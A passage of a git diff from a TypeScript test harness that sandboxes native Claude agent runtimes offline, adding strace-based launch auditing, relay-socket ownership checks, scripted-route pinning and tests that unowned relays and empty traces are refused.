mkdirSync,writeFileSync,readFileSync,existsSync,appendFileSync } from "node:fs"; import { join } from "node:path"; @@ -26,6 +27,7 @@ for(const arm of ["allow","deny"]){ entry.forwarded=true;entry.servedModel=MODEL;const call=plans[turn++];const bytes=call?reply([{type:"tool_use",id:"tool_"+arm+"_"+turn,name:call.name,input:call.input}],"tool_use"):reply([{type:"text",text:"Odysseus controlled turn complete."}],"end_turn");entry.rawResponse=bytes;writeFileSync(join(output,arm+"-physical.json"),JSON.stringify(physical,null,2)); return new Response(bytes,{headers:{"content-type":"text/event-stream","anthropic-ratelimit-unified-status":"allowed","anthropic-ratelimit-unified-overage-status":"disabled"}}); }}); + nativeScriptedService(server.url.origin); Object.assign(process.env,{HOME:home,CLAUDE_CONFIG_DIR:join(home,".claude"),CLAUDE_CODE_OAUTH_TOKEN:OAUTH,ANTHROPIC_BASE_URL:`http://127.0.0.1:${server.port}`,ANTHROPIC_MODEL:MODEL,ANTHROPIC_DEFAULT_SONNET_MODEL:MODEL,ANTHROPIC_DEFAULT_OPUS_MODEL:MODEL,ANTHROPIC_DEFAULT_HAIKU_MODEL:MODEL,ANTHROPIC_SMALL_FAST_MODEL:MODEL,CLAUDE_CODE_SUBAGENT_MODEL:MODEL,CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:"1"}); const original=nativeSpawn;let close:Promise|undefined,stdout:Promise|undefined,stderr:Promise|undefined,args:any,stdin="",forcedKill=false; observedSpawn=(command:any,options:any)=>{ diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 9d2c4bb4a7..ebdbcedc86 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,5 +1,6 @@ /** Test-only OS boundary for installed native Claude processes (#4313). */ -import { closeSync, existsSync, lstatSync, openSync, readFileSync, readSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { closeSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { AsyncLocalStorage } from "node:async_hooks"; import { createHash } from "node:crypto"; import { createRequire } from "node:module"; import { tmpdir } from "node:os"; @@ -27,19 +28,45 @@ function receiptHead(): string { // Resolve from the installed SDK, exactly as its native package lookup does. // This runs before test mocks can replace module resolution. No executable runs. const installedRuntimes: { path: string; size: number }[] = []; -try { - const sdk = createRequire(import.meta.url).resolve("@anthropic-ai/claude-agent-sdk"); - const fromSdk = createRequire(sdk); - const manifest = JSON.parse(readFileSync(join(dirname(sdk), "package.json"), "utf8")) as { optionalDependencies?: Record }; - for (const name of Object.keys(manifest.optionalDependencies ?? {}).filter(name => name.startsWith("@anthropic-ai/claude-agent-sdk-"))) { - try { - const path = realpathSync(fromSdk.resolve(`${name}/claude${name.includes("win32") ? ".exe" : ""}`)); - installedRuntimes.push({ path, size: statSync(path).size }); - } catch { /* Other-platform optional packages need not be installed. */ } +let discoveryFailed = false; +const sdkOwners = [...(existsSync(join(ROOT, "package.json")) ? [join(ROOT, "package.json")] : []), ...[...new Bun.Glob("packages/*/package.json").scanSync({ cwd: ROOT })].map(path => join(ROOT, path))]; +function installedPackage(from: string, name: string): string | undefined { + for (let directory = dirname(from); ; directory = dirname(directory)) { + const path = join(directory, "node_modules", name, "package.json"); + if (existsSync(path)) return path; + if (dirname(directory) === directory) return; } - const cli = join(dirname(sdk), "cli.js"); - if (existsSync(cli)) installedRuntimes.push({ path: realpathSync(cli), size: statSync(cli).size }); -} catch { /* Copied non-native harness fixtures need no installed SDK. */ } +} +const seenSdks = new Set(); +for (const owner of sdkOwners) { + let required = false; + try { + const manifest = JSON.parse(readFileSync(owner, "utf8")) as Record>; + required = ["dependencies", "devDependencies", "optionalDependencies", "peerDependencies"].some(key => Boolean(manifest[key]?.["@anthropic-ai/claude-agent-sdk"])); + if (!installedPackage(owner, "@anthropic-ai/claude-agent-sdk")) { + if (required) discoveryFailed = true; + continue; + } + let sdk: string; + try { sdk = realpathSync(createRequire(owner).resolve("@anthropic-ai/claude-agent-sdk")); } + catch { if (required) discoveryFailed = true; continue; } + if (seenSdks.has(sdk)) continue; + seenSdks.add(sdk); + const fromSdk = createRequire(sdk); + const sdkManifest = JSON.parse(readFileSync(join(dirname(sdk), "package.json"), "utf8")) as { optionalDependencies?: Record }; + const before = installedRuntimes.length; + for (const name of Object.keys(sdkManifest.optionalDependencies ?? {}).filter(name => name.startsWith(`@anthropic-ai/claude-agent-sdk-${process.platform}-${process.arch}`))) { + try { + if (!installedPackage(sdk, name)) continue; + const path = realpathSync(fromSdk.resolve(`${name}/claude${process.platform === "win32" ? ".exe" : ""}`)); + installedRuntimes.push({ path, size: statSync(path).size }); + } catch { /* The alternate libc package may not be installed. */ } + } + const cli = join(dirname(sdk), "cli.js"); + if (existsSync(cli)) installedRuntimes.push({ path: realpathSync(cli), size: statSync(cli).size }); + if (installedRuntimes.length === before) discoveryFailed = true; + } catch { discoveryFailed = true; } +} const hashes = new Map(); function fileHash(path: string): string { @@ -61,6 +88,7 @@ function resolveExecutable(command: string, options: SpawnContext): string { } export function isNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): boolean { + if (discoveryFailed) refuse("installed SDK runtime discovery failed"); for (const value of [command, ...args]) { if (typeof value !== "string" || value.startsWith("-")) continue; let path: string; @@ -130,7 +158,7 @@ function testRuntimeMounts(): string[] { }); } -interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: true; deniedConnects: number } +interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: boolean; success: boolean; reason?: string; deniedConnects: number } interface Boundary { argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } /** Raw connect arguments are pointers/numbers: no addresses, paths or payloads. */ @@ -138,7 +166,12 @@ export function deniedNativeConnects(trace: string): number { return trace.split("\n").filter(line => /(?:connect\(|connect resumed>).*?= -1 (?:EACCES|EPERM|ENETUNREACH|EHOSTUNREACH|ECONNREFUSED|ENOENT)\b/.test(line)).length; } -function auditNativeLaunch(argv: string[], cleanup: () => void) { +/** A successful exec trace for the expected program is the launch evidence. */ +export function nativeExecObserved(trace: string, paths: readonly string[]): boolean { + return trace.split("\n").some(line => paths.some(path => line.includes(`execve(${JSON.stringify(path)},`)) && /\)\s+= 0$/.test(line.trim())); +} + +export function auditNativeLaunch(argv: string[], expected: readonly string[], cleanup: () => void) { const directory = mkdtempSync(join(tmpdir(), "odysseus-native-audit-")); const log = join(directory, "connect.log"); writeFileSync(log, "", { mode: 0o600 }); @@ -146,13 +179,17 @@ function auditNativeLaunch(argv: string[], cleanup: () => void) { const finish = (): AuditReceipt => { if (receipt) return receipt; try { - const trace = readFileSync(log, "utf8"); - receipt = { kind: "native-offline-audit", head: receiptHead(), nativeLaunched: true, deniedConnects: deniedNativeConnects(trace) }; + let trace = ""; + try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } + const nativeLaunched = nativeExecObserved(trace, expected); + if (!nativeLaunched) denied++; + receipt = { kind: "native-offline-audit", head: receiptHead(), nativeLaunched, success: nativeLaunched, + ...(!nativeLaunched ? { reason: "native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(trace) }; console.error(JSON.stringify(receipt)); return receipt; } finally { cleanup(); rmSync(directory, { recursive: true, force: true }); } }; - return { argv: ["strace", "-f", "-qq", "-e", "trace=connect", "-e", "raw=connect", "-o", log, "--", ...argv], + return { argv: ["strace", "-f", "-qq", "-s", "0", "-e", "trace=connect,execve", "-e", "raw=connect", "-o", log, "--", ...argv], dispose() { finish(); }, receipt: finish }; } @@ -199,7 +236,10 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (!home || !within(tmpdir(), home) || home === tmpdir() || cwd === tmpdir() || !within(tmpdir(), cwd) && !within(ROOT, cwd)) { refuse("native launch requires fixture-owned storage"); } - const bridge = startNativeTestRelay(args.at(-1) === "--version" ? "http://127.0.0.1:1" : env.ANTHROPIC_BASE_URL); + const inheritedSocket = env.ANTHROPIC_UNIX_SOCKET; + const inheritedOrigin = inheritedSocket && ownedSocketOrigin(inheritedSocket); + if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); + const bridge = startNativeTestRelay(versionOnly ? "http://127.0.0.1:1" : inheritedOrigin ?? scriptedRoute.getStore()?.origin ?? env.ANTHROPIC_BASE_URL); try { command = resolveExecutable(command, options); const executable = realpathSync(command); @@ -209,6 +249,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", + ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_API_KEY: "offline-odysseus", @@ -225,13 +266,123 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { delete childEnv.ANTHROPIC_API_KEY; childEnv.CLAUDE_CODE_OAUTH_TOKEN = env.CLAUDE_CODE_OAUTH_TOKEN!; } + if (inheritedOrigin) Object.assign(childEnv, relayCredentialPlaceholders(env)); for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); argv.push("--chdir", cwd, "--", command, ...args); - const audited = auditNativeLaunch(argv, () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); + const audited = auditNativeLaunch(argv, [command], () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); return { ...audited, env: {} }; } catch (error) { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } +const scriptedRoute = new AsyncLocalStorage | undefined>(); + +/** Test code pins its scripted service before building a restricted turn. */ +export function nativeScriptedService(origin: string): () => void { + const target = new URL(origin); + if (target.protocol !== "http:" || !["127.0.0.1", "localhost", "[::1]"].includes(target.hostname) || !target.port || target.username || target.password || target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted route authority"); + const previous = scriptedRoute.getStore(); + scriptedRoute.enterWith(Object.freeze({ origin: target.origin })); + return () => scriptedRoute.enterWith(previous); +} + +const relayForwarding = new AsyncLocalStorage>(); +const ownedRelaySockets = new Map(); + +const ownedHttpServers = new WeakMap>(); +function rememberRelay(path: string, origin: string): void { + const stat = lstatSync(path, { bigint: true }); + ownedRelaySockets.set(realpathSync(path), { origin, dev: stat.dev, ino: stat.ino }); +} + +export function guardNativeHttpListen(server: object, args: unknown[]): void { + const route = scriptedRoute.getStore(); + const first = args[0] as string | { path?: string } | undefined; + const path = typeof first === "string" ? first : first?.path; + if (!route || !path?.startsWith("/")) return; + ownedHttpServers.set(server, route); + (server as { once(event: string, callback: () => void): void }).once("listening", () => rememberRelay(path, route.origin)); +} + +export function guardNativeHttpEvent(server: object, event: unknown, invoke: () => unknown): unknown { + const route = ownedHttpServers.get(server); + return route && (event === "request" || event === "connect") ? relayForwarding.run(route, invoke) : invoke(); +} + +/** The guard creates the server and binds every transport in its handler. */ +export function guardNativeRelayServer(options: any, create: (options: any) => any): any { + const route = scriptedRoute.getStore(); + if (!route || typeof options.unix !== "string" || typeof options.fetch !== "function") return create(options); + const original = options.fetch; + const server = create({ ...options, fetch: function(this: unknown, ...args: unknown[]) { + return relayForwarding.run(route, () => Reflect.apply(original, this, args)); + } }); + rememberRelay(options.unix, route.origin); + return server; +} + +export function assertNativeRelayDestination(url: URL): void { + const route = relayForwarding.getStore(); + if (!route) return; + const target = new URL(route.origin), requested = new URL(url); + if (target.hostname === "localhost") target.hostname = "127.0.0.1"; + if (requested.hostname === "localhost") requested.hostname = "127.0.0.1"; + if (requested.origin === target.origin) return; + denied++; + console.error(JSON.stringify({ kind: "native-offline-route-denial", success: false, reason: "unintended relay destination", head: receiptHead() })); + throw new Error("Native relay refused an unintended destination"); +} + +export function assertNativeRelaySocket(host: string, port: unknown): void { + if (!relayForwarding.getStore()) return; + assertNativeRelayDestination(new URL(`http://${host === "::1" ? "[::1]" : host}:${port}`)); +} + +export function assertNativeRelayUnix(path: string): void { + const route = relayForwarding.getStore(); + if (!route) return; + let authority: { origin: string } | undefined; + try { authority = ownedRelaySockets.get(realpathSync(path)); } catch { /* Unknown socket. */ } + if (authority?.origin === route.origin) return; + assertNativeRelayDestination(new URL("http://unowned-native-ipc.invalid")); +} + +function relayCredentialPlaceholders(env: Record): Record { + return Object.fromEntries(["ANTHROPIC_API_KEY", "ANTHROPIC_AUTH_TOKEN", "CLAUDE_CODE_OAUTH_TOKEN"].map(key => + [key, env[key] === "brain-inference-relay-placeholder" ? env[key]! : ""])); +} + +function ownedSocketOrigin(path: string): string | undefined { + let real: string; + try { real = realpathSync(path); } catch { return; } + const authority = ownedRelaySockets.get(real); + if (!authority) return; + const stat = lstatSync(real, { bigint: true }); + return stat.isSocket() && stat.dev === authority.dev && stat.ino === authority.ino ? authority.origin : undefined; +} + +function admittedRelay(argv: string[], socket: string): string | undefined { + for (let i = 0; i < argv.length - 2; i++) { + if (!["--ro-bind", "--bind"].includes(argv[i]!) || !within(argv[i + 2]!, socket)) continue; + const path = join(argv[i + 1]!, socket.slice(argv[i + 2]!.length)); + let real: string; + try { real = realpathSync(path); } catch { continue; } + const authority = ownedRelaySockets.get(real); + if (!authority) continue; + const stat = lstatSync(real, { bigint: true }); + if (!stat.isSocket() || stat.dev !== authority.dev || stat.ino !== authority.ino) continue; + // A directory mount exposes every socket it contains, not only the name + // in ANTHROPIC_UNIX_SOCKET. Every such capability needs the same authority. + const directory = statSync(argv[i + 1]!).isDirectory() ? argv[i + 1]! : undefined; + for (const name of directory ? readdirSync(directory) : []) { + const sibling = join(directory!, name), info = lstatSync(sibling, { bigint: true }); + if (!info.isSocket()) continue; + const peer = ownedRelaySockets.get(realpathSync(sibling)); + if (!peer || peer.origin !== authority.origin || peer.dev !== info.dev || peer.ino !== info.ino) return; + } + return authority.origin; + } +} + /** Inspect the concrete existing worker bootstrap, including its exec payload. */ export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void } { const unchanged = { env, dispose() {} }; @@ -239,7 +390,6 @@ export function nativeWorkerBoundary(env: Record): { let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string } | null; try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { return unchanged; } if (!launch?.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env })) return unchanged; - qualify(); const argv = launch.argv; if (!argv) refuse("native worker lacks the OS launcher"); const bwrap = argv.findIndex(value => basename(value) === "bwrap"); @@ -247,35 +397,23 @@ export function nativeWorkerBoundary(env: Record): { // Even ordinary test workers use a private network and a single bridge. // Do not rely on SDK options or the production profile to establish this. const socket = launch.env?.ANTHROPIC_UNIX_SOCKET; - const existingRelay = socket && launch.env?.ANTHROPIC_BASE_URL === "http://localhost"; - if (existingRelay) { - const separator = argv.indexOf("--", bwrap); - let admitted = false; - for (let i = bwrap + 1; i < separator; i++) { - if (argv[i] !== "--ro-bind" || !argv[i + 1] || !argv[i + 2] || !within(argv[i + 2]!, socket)) continue; - const source = argv[i + 1]!, directory = realpathSync(source); - if (!within(tmpdir(), directory) || directory === tmpdir() || directory !== source) continue; - const path = join(directory, socket.slice(argv[i + 2]!.length)); - const info = lstatSync(path); - if (info.isSocket() && info.uid === process.getuid?.()) admitted = true; - } - if (!admitted || !argv.includes("--unshare-net")) refuse("native worker relay is not fixture-owned isolated IPC"); - } - // Existing restricted workers already have a server-owned exact-route relay. - // The unused bridge in that case supplies only synthetic account files. - const bridge = startNativeTestRelay(existingRelay ? "http://127.0.0.1:1" : launch.env?.ANTHROPIC_BASE_URL); + const route = scriptedRoute.getStore(); + const ownedOrigin = socket && admittedRelay(argv, socket); + if (socket && !ownedOrigin) refuse("pre-existing native relay is not guard-owned"); + qualify(); + const bridge = startNativeTestRelay(ownedOrigin ?? route?.origin ?? launch.env?.ANTHROPIC_BASE_URL); try { for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { if (argv[i] === "--ro-bind" && argv[i + 1] === "/" && argv[i + 2] === "/") argv.splice(i--, 3); } argv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), ...testRuntimeMounts(), "--ro-bind", process.execPath, process.execPath); - const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: existingRelay ? socket : "/tmp/native-relay/relay.sock", - ANTHROPIC_API_KEY: "offline-odysseus", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "" }; + const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", + ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : { ANTHROPIC_API_KEY: "offline-odysseus", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "" }) }; const separator = argv.indexOf("--", bwrap); argv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); - const audited = auditNativeLaunch(argv, bridge.dispose); + const audited = auditNativeLaunch(argv, launch.command.filter(value => isNativeClaude(value, [], { cwd: launch.brainPath, env: launch.env })).map(value => resolveExecutable(value, { cwd: launch.brainPath, env: launch.env })), bridge.dispose); launch.argv = audited.argv; return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: audited.dispose }; } catch (error) { bridge.dispose(); throw error; } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 1ac066fc9b..557e128459 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,6 +1,7 @@ /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { assertNoNativeRefusals, nativeIsolationFailed, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; +import { guardNativeHttpListen, guardNativeHttpEvent, guardNativeRelayServer, assertNativeRelayDestination, assertNativeRelaySocket, assertNativeRelayUnix, assertNoNativeRefusals, nativeIsolationFailed, isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; +import { Server as HttpServer } from "node:http"; import { isIP, Socket } from "node:net"; import { inheritWorkspaceLease } from "./workspace-lease.mjs"; @@ -29,6 +30,17 @@ function testGitEnvironment(env: Record): Record Reflect.apply(nativeHttpEmit, this, args)); + } as typeof nativeHttpEmit; + const nativeServe = Bun.serve; + Bun.serve = ((options: any) => guardNativeRelayServer(options, value => nativeServe(value))) as typeof Bun.serve; const escapes: string[] = []; let reported = 0; const message = () => `Offline test guard: attempted real network access\n${escapes.join("\n")}`; @@ -37,6 +49,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { throw new Error(message()); } function permitted(url: URL): void { + assertNativeRelayDestination(url); if (!["http:", "https:"].includes(url.protocol) || !LOOPBACK.has(url.hostname)) { refuse(`fetch ${url.href}`); } @@ -59,8 +72,10 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { }; // Unix paths and adoption/TLS upgrades of an existing socket open no // new TCP destination. SNI on an adopted socket is not its address. + if (options.path) assertNativeRelayUnix(options.path); if (!options.path && !options.socket && options.fd == null) { const host = options.host ?? "localhost"; + assertNativeRelaySocket(host, options.port); if (!socketLoopback(host)) refuse(`socket.connect ${host}:${options.port}`); } return Reflect.apply(nativeSocketConnect, this, args); @@ -70,6 +85,8 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { Object.defineProperty(Bun, "connect", { ...Object.getOwnPropertyDescriptor(Bun, "connect"), value: async function offlineBunConnect(options: Bun.TCPSocketConnectOptions | Bun.UnixSocketOptions) { + if ("hostname" in options) assertNativeRelaySocket(options.hostname, options.port); + else if ("unix" in options) assertNativeRelayUnix(options.unix); if ("hostname" in options && !socketLoopback(options.hostname)) { refuse(`Bun.connect ${options.hostname}:${options.port}`); } @@ -87,6 +104,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // A Unix socket never leaves the host; `new Request` drops Bun's `unix` // option, so every hop passes it on or a socket request becomes TCP. const unix = (init as RequestInit & { unix?: string } | undefined)?.unix; + if (unix) assertNativeRelayUnix(unix); for (let hop = 0; ; hop++) { const replay = request.clone(); let replayBody = replay.body; diff --git a/tests/fixtures/autonomous-app-probe.ts b/tests/fixtures/autonomous-app-probe.ts index cd691c54f9..71fe04066d 100644 --- a/tests/fixtures/autonomous-app-probe.ts +++ b/tests/fixtures/autonomous-app-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; /** * The whole app pipeline with an installed first-party runtime (#689 AC1 and * AC4), run behind the caller's offline network namespace. @@ -105,6 +106,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); + nativeScriptedService(upstream.url.origin); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 385de7d768..af5f53e278 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { spyOn } from "bun:test"; import * as startup from "../../packages/ui-sdk/src/server/worker-startup-view.js"; import { createFixtureWorkerStartupView } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -171,6 +172,7 @@ async function server(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen.length ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } })); + nativeScriptedService(upstream.url.origin); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-dispatch-probe.ts b/tests/fixtures/autonomous-dispatch-probe.ts index 880da95fec..515cdf5d92 100644 --- a/tests/fixtures/autonomous-dispatch-probe.ts +++ b/tests/fixtures/autonomous-dispatch-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { Database } from "bun:sqlite"; import { createFixtureWorkerStartupView } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; @@ -83,6 +84,7 @@ async function main(): Promise { events.push({ type: "message_delta", delta: { stop_reason: chosen ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); + nativeScriptedService(upstream.url.origin); const url = `http://127.0.0.1:${upstream.port}`; writeFileSync(join(root, "pi/models.json"), JSON.stringify({ providers: { anthropic: { baseUrl: url } } })); const backend = adapter === "claude" diff --git a/tests/fixtures/autonomous-runtime-probe.ts b/tests/fixtures/autonomous-runtime-probe.ts index a37538cc02..64e6b656c9 100644 --- a/tests/fixtures/autonomous-runtime-probe.ts +++ b/tests/fixtures/autonomous-runtime-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; import { startFixtureTurn } from "./worker-input-fixture.js"; /** Executed inside a network namespace with loopback fixture inference only. */ @@ -90,6 +91,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { type: "message_delta", delta: { stop_reason: "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }]); } }); +nativeScriptedService(server.url.origin); function start(): unknown { return { type: "message_start", message: { id: `msg_${crypto.randomUUID()}`, type: "message", role: "assistant", model: "claude-sonnet-4-6", content: [], stop_reason: null, stop_sequence: null, diff --git a/tests/fixtures/claude-worker-probe.ts b/tests/fixtures/claude-worker-probe.ts index 72ca090aa1..a9c4a8053b 100644 --- a/tests/fixtures/claude-worker-probe.ts +++ b/tests/fixtures/claude-worker-probe.ts @@ -1,3 +1,4 @@ +import { nativeScriptedService } from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; /** Actual ordinary adapter and server bridge behind kernel loopback isolation. */ import { cpSync, existsSync, mkdirSync, readFileSync, readdirSync, writeFileSync } from "node:fs"; @@ -113,6 +114,7 @@ const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) events.push({ type: "content_block_stop", index: 0 }, { type: "message_delta", delta: { stop_reason: action ? "tool_use" : "end_turn", stop_sequence: null }, usage: { output_tokens: 5 } }, { type: "message_stop" }); return new Response(events.map((event: any) => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(server.url.origin); const db = createUiDb(":memory:"); const store = createActivityStore(db, { writer: "claude-worker-test" }), stream = createActivityStream(store); const profile: InferenceProfile = { id: "fixture", label: "Fixture", model: "claude-sonnet-4-6", billing: "api", requiredEnvKeys: [], buildEnv: () => ({ ANTHROPIC_BASE_URL: `http://127.0.0.1:${server.port}`, ANTHROPIC_API_KEY: "offline-fixture", CLAUDE_CODE_OAUTH_TOKEN: "", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }) }; const backend = createClaudeBackend({ brainPath, profiles: [profile], log: () => {} }); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index af62b929d5..dd59f69249 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1,7 +1,7 @@ /** Local tests never execute the installed native runtime, including mutations. */ import { expect, test } from "bun:test"; import { chmodSync, copyFileSync, existsSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; -import { join } from "node:path"; +import { dirname, join } from "node:path"; import { tmpdir } from "node:os"; import { bundledClaudeBinary } from "../packages/core/src/providers/agents/claude-binary"; import { isNativeClaude } from "../scripts/test-native-guard"; @@ -12,7 +12,7 @@ if (!runtime) throw new Error("Native boundary proof requires the installed SDK async function probe(script: string, home: string) { const path = join(home, "probe.ts"); writeFileSync(path, script); - const child = Bun.spawn([process.execPath, path], { env: { PATH: "/usr/bin:/bin", HOME: home }, stdout: "pipe", stderr: "pipe" }); + const child = Bun.spawn([process.execPath, "--no-install", path], { env: { PATH: "/usr/bin:/bin", HOME: home }, stdout: "pipe", stderr: "pipe" }); const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); return { code, output }; } @@ -122,6 +122,107 @@ test("native audit counts raw kernel failures without decoding addresses or payl expect(deniedNativeConnects("1 connect(0x3, 0x123, 0x10) = -1 ENETUNREACH (Network is unreachable)\n2 <... connect resumed>) = -1 EACCES (Permission denied)\n3 connect(0x4, 0x456, 0x10) = 0\n4 connect(0x5, 0x789, 0x10) = -1 EINPROGRESS (Operation now in progress)")).toBe(2); }); +test("cleanup cannot claim native exec from an empty or launcher-only trace", async () => { + const { nativeExecObserved } = await import("../scripts/test-native-guard"); + expect(nativeExecObserved("", ["/synthetic/native"])).toBe(false); + expect(nativeExecObserved('1 execve("/usr/bin/bwrap", [], 0x1) = 0', ["/synthetic/native"])).toBe(false); + expect(nativeExecObserved('1 execve("/synthetic/native", [], 0x1) = -1 ENOENT', ["/synthetic/native"])).toBe(false); + expect(nativeExecObserved('1 execve("/synthetic/native", [], 0x1) = 0', ["/synthetic/native"])).toBe(true); + const scratch = mkdtempSync(join(tmpdir(), "odysseus-empty-native-audit-")); + try { + const result = await probe(`${imports} + import {auditNativeLaunch} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + const audit=auditNativeLaunch(["/usr/bin/true"],["/synthetic/native"],()=>{}); + audit.dispose(); process.exit(0);`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"nativeLaunched":false,"success":false'); + expect(result.output).toContain("native exec was not observed"); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +test("an arbitrary same-user Unix relay is refused before namespace setup", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-unowned-relay-")); + const socket = join(scratch, "relay.sock"); + const service = Bun.serve({ unix: socket, fetch() { return new Response("Unowned"); } }); + try { + const result = await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + 